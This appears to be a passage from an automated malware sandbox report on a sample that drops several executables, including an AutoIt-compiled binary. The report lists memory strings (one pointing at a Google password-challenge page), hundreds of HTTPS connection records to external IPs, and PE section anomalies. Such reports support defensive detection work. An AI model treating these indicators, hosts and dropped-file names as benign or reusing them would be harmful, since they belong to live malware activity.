Source: efe6fe4127.exe, 0000000C.00000003.2849392911.00000000064E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 0000002E.00000003.3060467793.0000020F3AC5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: efe6fe4127.exe, 0000000C.00000003.2849392911.00000000064E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: efe6fe4127.exe, 0000000C.00000003.2849392911.00000000064E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001C.00000002.2932128135.00000121573CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2932095953.0000029B41CC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001C.00000002.2937015583.00000121574A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2931215324.0000029B41AA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000002.2932128135.00000121573CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/US
Source: file.exe, 00000000.00000003.2193594882.00000000052D4000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693716552.00000000056ED000.00000004.00000800.00020000.00000000.sdmp, efe6fe4127.exe, 00000009.00000003.2693541904.00000000056EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2932128135.00000121573CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2932095953.0000029B41CC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000001C.00000002.2930946278.0000012157290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://ac
Source: firefox.exe, 00000021.00000002.2936072675.0000029B41DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://ac8
Source: firefox.exe, 0000002D.00000002.2975821570.0000014898280000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3056553256.0000020F30A15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.2819634150.000001271015F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2826679154.00000167E023B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.2975821570.000001489828B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001C.00000002.2931287187.00000121572A0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2930946278.0000012157294000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2930456761.0000029B41A40000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2936072675.0000029B41DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE

Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.6:50142 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: deecb7b612.exe, 0000000D.00000002.2855360804.0000000000592000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_49629fc6-c
Source: deecb7b612.exe, 0000000D.00000002.2855360804.0000000000592000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_8c565585-3
Source: deecb7b612.exe, 00000022.00000000.2920534582.0000000000592000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_e38a3bd8-d
Source: deecb7b612.exe, 00000022.00000000.2920534582.0000000000592000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_ae61140d-7
Source: random[1].exe1.5.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_e360881a-8
Source: random[1].exe1.5.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_475376b7-e

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: YQEN9A9QU4P1VROBPV5YS.exe.0.dr	Static PE information: section name:
Source: YQEN9A9QU4P1VROBPV5YS.exe.0.dr	Static PE information: section name: .idata
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: section name:
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: section name: .idata
Source: 99Q4Y3O9GBOXYTDVM9GPHI.exe.0.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: efe6fe4127.exe.5.dr	Static PE information: section name:
Source: efe6fe4127.exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .rsrc
